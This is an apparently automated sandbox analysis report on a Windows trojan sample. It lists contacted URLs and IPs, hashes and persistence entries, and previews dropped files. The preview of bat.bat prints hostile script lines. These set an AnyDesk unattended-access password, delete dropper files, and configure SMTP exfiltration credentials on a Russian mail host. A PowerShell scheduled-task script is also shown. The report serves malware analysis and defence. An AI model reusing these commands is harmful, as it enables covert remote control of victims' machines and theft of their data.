http://www.4t-niagara.com/tray.htmltmll=	Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.php03	Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phpr6	Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.dk-soft.org/	driver.exe, 0000003A.00000003.1535835136.0000000002C02000.00000004.00001000.00020000.00000000.sdmp	false		high
http://downdown.ru/dc.jp	eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/wol.jpg?	curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/files/4t-min.exe03	Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/privacy	svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.anydesk.com/HelpLinkInstallLocationAnyDesk	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpgK	curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.htmlln...	Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000E.00000003.1411960311.000001FB45067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414143967.000001FB45068000.00000004.00000020.00020000.00000000.sdmp	false		high
https://order.anydesk.com/trial	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/tray_order.html03	Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.html03	Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/my-anydesk-ii#user-management	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://www.4t-niagara.com/newsletter.html	driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.0000000002332000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.htmll??????...	Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
94.23.158.211	www.4t-niagara.com	France	16276	OVHFR	false
57.129.19.1	unknown	Belgium	2686	ATGS-MMD-ASUS	false
92.223.88.41	boot.net.anydesk.com	Austria	199524	GCOREAT	false
185.125.51.5	downdown.ru	Russian Federation	207064	INPLATLABS-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585989
Start date and time:	2025-01-08 15:52:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	76
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	eqRHH2whJu.exe renamed because original name is a hash value
Original Sample Name:	f18374fa790c5bbf7bc272c10a26f56db99b7d7eee08c986fa4bd20c3c455387.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@134/127@6/5
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Successful, ratio: 98% Number of executed functions: 46 Number of non-executed functions: 219
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 104.40.149.189, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 162.159.61.3, 172.64.41.3, 23.56.254.164, 2.16.168.105, 2.16.168.107, 23.209.209.135, 199.232.210.172, 2.19.11.122, 2.19.11.117, 23.219.161.132, 13.107.246.45, 23.56.162.204, 4.245.163.56, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target eqRHH2whJu.exe, PID 2344 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: eqRHH2whJu.exe

Simulations

Behavior and APIs

Time	Type	Description
09:53:23	API Interceptor	3x Sleep call for process: svchost.exe modified
09:53:35	API Interceptor	3x Sleep call for process: AcroCEF.exe modified
11:19:49	API Interceptor	7x Sleep call for process: Trays.exe modified
11:19:59	API Interceptor	1x Sleep call for process: AnyDesk.exe modified
15:53:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Video Configurations C:\Intel\Trays\trays.lnk
15:53:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Video Configurations C:\Intel\Trays\trays.lnk
17:20:08	Task Scheduler	Run new task: ShutdownAt5AM path: shutdown s>/s /f /t 0
17:20:12	Task Scheduler	Run new task: WakeUpAndLaunchEdge path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
92.223.88.41	anydesk.exe	Get hash	malicious	Unknown	Browse
	livechat.exe	Get hash	malicious	Unknown	Browse
	livechat.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse
	Microsoft.exe	Get hash	malicious	Unknown	Browse
	AnyDesk.exe	Get hash	malicious	Unknown	Browse
	1.msi	Get hash	malicious	Unknown	Browse
	sJ9Q8UWMAX.exe	Get hash	malicious	CryptOne, Mofksys	Browse
57.129.19.1	f_0002b5.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
boot.net.anydesk.com	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	92.223.88.232
	_AnyDesk.exe_	Get hash	malicious	Unknown	Browse	57.128.101.75
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	57.128.101.74
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	195.181.174.167
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	185.229.191.39
	http://116.0.56.101:9191/images/Distribution.exe	Get hash	malicious	Unknown	Browse	49.12.130.235
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	37.59.29.33
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	185.229.191.44
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	141.95.145.210
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	92.223.88.232
bg.microsoft.map.fastly.net	Selvi Payroll Benefits & Bonus Agreementfdp.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	atomxml.ps1	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	199.232.210.172
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.232.214.172
	Payment-Order #24560274 for 8,380 USD.exe	Get hash	malicious	XWorm	Browse	199.232.214.172
	PEDIDO DE COMPRAS OC 1203 CRI234.xlsx.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	invoice-1623385214.pdf.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	199.232.214.172
	PO#3311-20250108003.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	PO#3311-20250108003.xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	e-SPT Masa PPh.exe	Get hash	malicious	BlackMoon	Browse	199.232.210.172
	e-SPT Masa PPh.exe	Get hash	malicious	BlackMoon	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	miori.x86.elf	Get hash	malicious	Unknown	Browse	151.80.169.31
	random.exe	Get hash	malicious	CStealer	Browse	51.91.7.6
	https://universidad-unidem.edu.mx/mah/i/amFjb2JAc3RlaW5ib3JuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	91.134.9.160
	pkt1.exe	Get hash	malicious	Unknown	Browse	151.80.239.86
	http://23.27.51.244/dr0p.exe	Get hash	malicious	Unknown	Browse	151.80.239.86
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Unknown	Browse	54.38.113.3
	https://147y3.trk.elasticemail.com/tracking/click?d=l6DX1ZxoYxoIu3Ps_nHCw2dpTGYsp50KhPgdcLAPZ98lDQqXluI2jbk2Kz6cWaRjWchw5Igbhe-BSjXhcIk5khB6_31XWJ3KxF070e3rxxM9hJmShBhAM7tP0jesqnjYkgFpEuivEIV6QQKt0-F18YQ1#out/0023m/435/85jy1/26p0/41/77	Get hash	malicious	Unknown	Browse	164.132.95.126
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Unknown	Browse	37.59.22.41
	1.exe	Get hash	malicious	Unknown	Browse	151.80.152.246
	1.exe	Get hash	malicious	Unknown	Browse	151.80.152.246
GCOREAT	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	92.38.190.254
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	92.223.124.62
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	5.188.4.180
	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	92.223.88.232
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	92.223.55.62
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	92.38.145.123
	y1rS62yprs.exe	Get hash	malicious	Babadeda	Browse	92.223.55.62
	y1rS62yprs.exe	Get hash	malicious	Babadeda	Browse	92.223.55.62
	https://buiseenet-fbsp247.getresponsewebsite.com/	Get hash	malicious	Unknown	Browse	92.223.55.62
	https://thunderstore.io/package/download/Grad/HiddenUnits/1.3.0/	Get hash	malicious	Unknown	Browse	92.223.55.62
ATGS-MMD-ASUS	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9	Get hash	malicious	Phisher	Browse	34.149.120.191
	mail (4).eml	Get hash	malicious	Unknown	Browse	34.36.216.150
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	34.160.98.162
	miori.ppc.elf	Get hash	malicious	Unknown	Browse	33.74.79.66
	miori.x86.elf	Get hash	malicious	Unknown	Browse	48.150.19.151
	miori.sh4.elf	Get hash	malicious	Unknown	Browse	129.36.82.237
	miori.mpsl.elf	Get hash	malicious	Unknown	Browse	51.63.75.161
	miori.mips.elf	Get hash	malicious	Unknown	Browse	33.166.63.56
	miori.arm.elf	Get hash	malicious	Unknown	Browse	32.206.153.126
	miori.spc.elf	Get hash	malicious	Unknown	Browse	57.2.59.64

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
c91bde19008eefabce276152ccd51457	https://www.axians-ewaste.com/faq/anleitung-installation-signatursoftware/	Get hash	malicious	Unknown	Browse	92.223.88.41
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	92.223.88.41
	f_0002b5.exe	Get hash	malicious	Unknown	Browse	92.223.88.41
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	92.223.88.41
	SysrI6zSkJ.exe	Get hash	malicious	RedLine	Browse	92.223.88.41
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	92.223.88.41
	AnyDesk.exe	Get hash	malicious	Unknown	Browse	92.223.88.41
	http://sub.nabprotect-livechat.com/	Get hash	malicious	Unknown	Browse	92.223.88.41
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	92.223.88.41
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	92.223.88.41

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	PDF document, version 1.7, 1 pages
Category:	dropped
Size (bytes):	25674
Entropy (8bit):	7.907670571017708
Encrypted:	false
SSDEEP:	384:9yG9CsIne7IVDIeIQzBgpt9Y4xhGyU3RSFVmQqnN8088XKNWMQiOM+k3T3lA:dslVlJy99x5U3EF8QqnKV8XqWXnMBJA
MD5:	E3ABD5BD617DFA2C7ED0F241BC08475D
SHA1:	9D1885FB570C84C419CBF0DAC0A9B770B5BF349B
SHA-256:	A6FF418F0DB461536CFF41E9C7E5DBA3EE3B405541519820DB8A52B6D818A01E
SHA-512:	18A3D578D0200E77B15574E5EE8BEEE74CDBC3BD4C1CA6AEBF29594FFBFC467DD8A20B3382FD6845A914AB0FFE387DCCAB3CF793DBCB62115B0C30E99773766D
Malicious:	false
Preview:	%PDF-1.7.%.....3 0 obj.<<./Type /XObject./Subtype /Image./Width 557./Height 685./BitsPerComponent 8./ColorSpace /DeviceRGB./Filter /FlateDecode./Length 5 0 R.>>.stream.x...<9..[.p..{..Br[.00b.HGJ4.r.X0..$V)..H........Ab.+4.@]J..nhA.b..;y...~_GFVef.....a;^;..'.p.O'.............,......n.;.... .TI.......6]@}....?...?.........)b$5.......}......O?.......h$...F>...b4E......d....'.\|....}...?...(.L4...G#...4R..W.)...._.7...........>8...$....n.......D..~...?...../..._..w.......?..O..5.....]....g2. ...@.+.O~...{.W......(Q.'j.%.!J.B..._.!..x...\|.;...........5}..?.....!.Iz..B.}..'.\|................F..>..........4..w.......?........+.W...F........?..~....4."..d.)C.~..G.}.........K_......v.........o...F\..9+C..._?..Cd...^G. _.....\|.[....~.......o...q......d....B. _...6..7.......?...~...2...Y.............................{.F..qA.........}._.._{.:............................D....n C..0#......2...3...... C....T..->2..0/Ww.7....x0.!d..`F.!d..`F.!d..`F.!d..`F....].S.V

C:\Intel\AnyDesk\AnyDesk.exe

Download File

Process:	C:\Intel\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5331456
Entropy (8bit):	7.99990183000247
Encrypted:	true
SSDEEP:	98304:K/9YNbhcFtvWK+XJURR51NX6hzzVwDmIoEWXF5fX+LWHF7uC+:KCNbhcF1WKW6whfOjGvAWHM
MD5:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
SHA1:	6AEDB74E3C6B886A2945323C8789B32891CA12A2
SHA-256:	7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
SHA-512:	8E009A0E4398EDBCDB7BEE17F37AE5885935E910348F0FC2FFE838BBFFB2B56BF6DE9BB7F34B08C04DD8ABB1C29C0313006697872D9EBF09950947B96758F16D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L....X.f..........".........0Q..T%..........@....@...........................v......Q...@...................................................................v.......%..............................................................................text...w(......................... ..`.itext...T%..@...........................rdata........%.....................@..@.data....&Q...%..$Q..2..............@....reloc........v......VQ.............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Intel\AnyDesk\bat.bat

Download File

Process:	C:\Intel\curl.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	modified
Size (bytes):	4477
Entropy (8bit):	5.593790126561728
Encrypted:	false
SSDEEP:	48:q1vXYC+yNyQPvvpvXevWvlMz/vSdvX2vSdvXQZvSdvXKvSdvXmvSdvXZvSdvXnvl:qfloQhNM9ziOjvOjo+OjNOjwxDejO
MD5:	2689DB9C78A508F99898CCE9A85F0632
SHA1:	A5FD7E67D46F4D2239C43101666DD0582367BD8D
SHA-256:	636D4F1E3DCF0332A815CE3F526A02DF3C4EF2890A74521D05D6050917596748
SHA-512:	57950BBBCFF7148F256028A6B9B19D2EC868612DE3431D5DC3BBBE61FAADDB8F61EAAA845491F97B73418E9C54DCCAA48D0B04BC32EEBEB5EEB16801C6323138
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Intel\AnyDesk\bat.bat, Author: Joe Security
Preview:	echo QWERTY1234566 \| AnyDesk.exe --set-password _unattended_access..%SYSTEMDRIVE%\Intel\dc.exe /D..powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0..powercfg -change -standby-timeout-ac 0..powercfg -change -hibernate-timeout-ac 0..powercfg -h off..powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1..powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1..schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00..Powershell.exe -executionpolicy remotesigned -File %SYSTEMDRIVE%\Intel\AnyDesk\wol.ps1..del /q %SYSTEMDRIVE%\Intel\curl.exe..del /q %SYSTEMDRIVE%\Intel\Trays.rar..del /q %SYSTEMDRIVE%\Intel\svchost.exe..set mail-out=out@dragonfires.ru..set pass-out=TyU005d94y..set smtp=mail.dragonfires.ru..set mail-in=in@dragonfires.ru..%SYSTEMDRIVE%\Intel\driver.exe a -r -hplim

C:\Intel\AnyDesk\bat.lnk

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sun Oct 20 04:16:03 2024, mtime=Sun Oct 20 04:16:03 2024, atime=Sun Oct 20 04:16:03 2024, length=984, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	4.387954886555134
Encrypted:	false
SSDEEP:	24:8+6YWsBQCZzCUVlWUFCqAZ4eUCyhLJ8Dhg5i4Uzm:8qQczVwwh1Gg5g
MD5:	B8BE9EF45895F58DB0B6BD0A73485C78
SHA1:	C6DB4B279AEC29FD6793EFF8DE6572B51E8D95B2
SHA-256:	C51A9243F7FB0ADBD5F3AC2B2C89070A06EAED928228C8FB385D1FAE933D920A
SHA-512:	85284D43698F531E921F027E4A20DD156A6CACC6B32D8C84A94C9EA1D64269A2EEF3FD5140BD4CCFEB17F76D9958B2320F291DB611C0A5C023784E743C30F3DC
Malicious:	false
Preview:	L..................F.... ....3.(."..tZ.(.".....(."..........................+....P.O. .:i.....+00.../C:\...................P.1.....TY...Intel.<......TYT%TY......%....................S...I.n.t.e.l.....V.1.....TY...AnyDesk.@......TY.TY.....R,........................A.n.y.D.e.s.k.....V.2.....TY. .bat.bat.@......TY.TY.....T,.....................I..b.a.t...b.a.t.......M...............3.......L...........65......System.C:\Intel\AnyDesk\bat.bat......\.b.a.t...b.a.t...C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.`.......X.......vivobook.........................)........(..VY.................)........(..VY........U...1SPS.0..C..G.....sf"9...d............A.n.y.D.e.s.k. .(.C.:.\.I.n.t.e.l.).............1SPS0.%..G.....`...!................b.a.t...b.a.t............@....B.(.".......................=..................0.:.5.B.=.K.9. .D.0.9.;. .W.i.n.d.o.w.s............@......(."......a...1SPS.jc(=.......O...E................C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.b.a.t...b.a.t.........9...1SPS..mD..pH.H@..

C:\Intel\AnyDesk\wol.ps1

Download File

Process:	C:\Intel\curl.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	modified
Size (bytes):	670
Entropy (8bit):	5.478658113796959
Encrypted:	false
SSDEEP:	12:MGNvQnzxGN9feGNcjtesqhIYQGN8dYohAUs219217Sj2XnoKG/91WYP:HNv2zAN9BNies+3NPGAUsc9K22XoKIZ
MD5:	E956E6CF8F57E5FCDD02B7F5137E312E
SHA1:	0DA79D573FADEF08C9D07F20D4BF8445A7044A48
SHA-256:	01793E6F0D5241B33F07A3F9AD34E40E056A514C5D23E14DC491CEE60076DC5A
SHA-512:	D4CF36F08B4F1CE033FE092E226454AAFA90C7652DDBF4FD2F014BF1B5438DC3035640A7C1BBE8B97D0F1A8AD726AAC2986E4C6B246A49AB55C434709606835F
Malicious:	false
Preview:	$Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"..$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"..$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest..# ........ ........ ........$TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun..# ........... ...... . ............ .........Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force

C:\Intel\Trays.rar

Download File

Process:	C:\Intel\curl.exe
File Type:	RAR archive data, flags: EncryptedBlockHeader
Category:	modified
Size (bytes):	1759948
Entropy (8bit):	7.999902098352645
Encrypted:	true
SSDEEP:	49152:96t7FF7chGiS1KBSsPLFBLPGUATnGvvGkbouz6pn/aJ3:4NFVEPSwSsPH+TnGvukEF5/w3
MD5:	3B9BD9271887C92A994C582161700FC8
SHA1:	54E78156E451F901FD6BDB9B7C93FDFDC105361A
SHA-256:	5707A7D5A6946D50E861EEA4FB89BF255239D0391E4AE87A499558EE85367061
SHA-512:	FC9ECE7AD3499BD9CB5CEFB3006D3BAFD3ACB58EF226FE0CE7AC65B31ECD50294E6B791A3A1B6ECE833FAD0B821DC42AAE12A1321FD89252562D0CD186E139F4
Malicious:	false
Preview:	Rar!....s...........;..]......6,.,:..k.....Qr.6;h...BqS..^{M.......8B!...W...z...)3p....>......f..!.Z..j.)J.....(zw.>...`.e$p7.9.Y...C1`..a5..Y.+s.....8y....$l.C..vP.....Od.m?;F.....T.J.............%0.q.J2...b[`.RG.m..Et......%.hL.4L..>L....P.y ..64=.....Bq........;A...1..f.4....Hfn.....E}d.....bG ...L.k...v.N..'&k.3..euw...@.1t.......`}.V.P.0...+.&H}.A..Z`..2..j....$v..v.2N^....0...5?....t.@....A_....h..!....w..X3m:V........'3`.5...n.,....h.//..~g%.\.'x?-/..[.............b....O.Y.i....B.. ...e.)A2..D......9.98...e......._.....E.....DT..K>n.F/....o....5..,.... ..b.j.n..{D...Bd.2.u....s..[Jj8."E.2`..#._.3O..H^./...Fj-mk.......P.Z9.5.{..TJ..........O@M.&...<W\|...<....h.-..4C..z4)...u...&..9...v...!t.7.......,..X._<"bx.Nf.C~.....v...R8N..Ha8$9l....+................vL.*&..=K.L ..G..V..........Yj>?U.\...e .\e.<h.!k....<......... .(.c.]Z...+.a..}.h.x.\|G\..Rf...........Un.>n.E.F..6h.E..O/;T.@n.RS#O.E.......d.......s.....~./...A6....

C:\Intel\Trays\4t-min.chm

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	221585
Entropy (8bit):	7.950121298763784
Encrypted:	false
SSDEEP:	6144:afX5wlsLWmmJ5c9xKwN+kgRrCgvqZtYFkgS/:R2Wm/9xKTfru
MD5:	B271C0CC26ADA59F204E567DAA150769
SHA1:	744CF9F7F6FA12748529923C0E8A221F7F9CDC3D
SHA-256:	2A5E806589E54C290393BB92EBBC1649B979A384A0CC0C52A229F62F394E29FE
SHA-512:	D240AD89B3413C7B090B7CC12110D9C44B8BABBC7140C3AD43318CF56CB1BA6777BE36318028562E8C25BC6380AC3A9404815A1F0CDD28E8BCD47760413C6237
Malicious:	false
Preview:	ITSF....`........\|........\|.{.......".....\|.{......."..`...............x.......T........................a..............ITSP....T...........................................j..].!......."..T...............PMGLw................/..../#IDXHDR...9.../#ITBITS..../#IVB.....<./#STRINGS.....E./#SYSTEM....A./#TOPICS...9.../#URLSTR...Y.3./#URLTBL...9. ./#WINDOWS...3.L./$FIftiMain...[..^./$OBJINST.....?./$WWAssociativeLinks/..../$WWAssociativeLinks/BTree...e.L./$WWAssociativeLinks/Data...1.1./$WWAssociativeLinks/Map...b../$WWAssociativeLinks/Property...\| ./$WWKeywordLinks/..../$WWKeywordLinks/BTree...;.L./$WWKeywordLinks/Data......./$WWKeywordLinks/Map....*./$WWKeywordLinks/Property...E 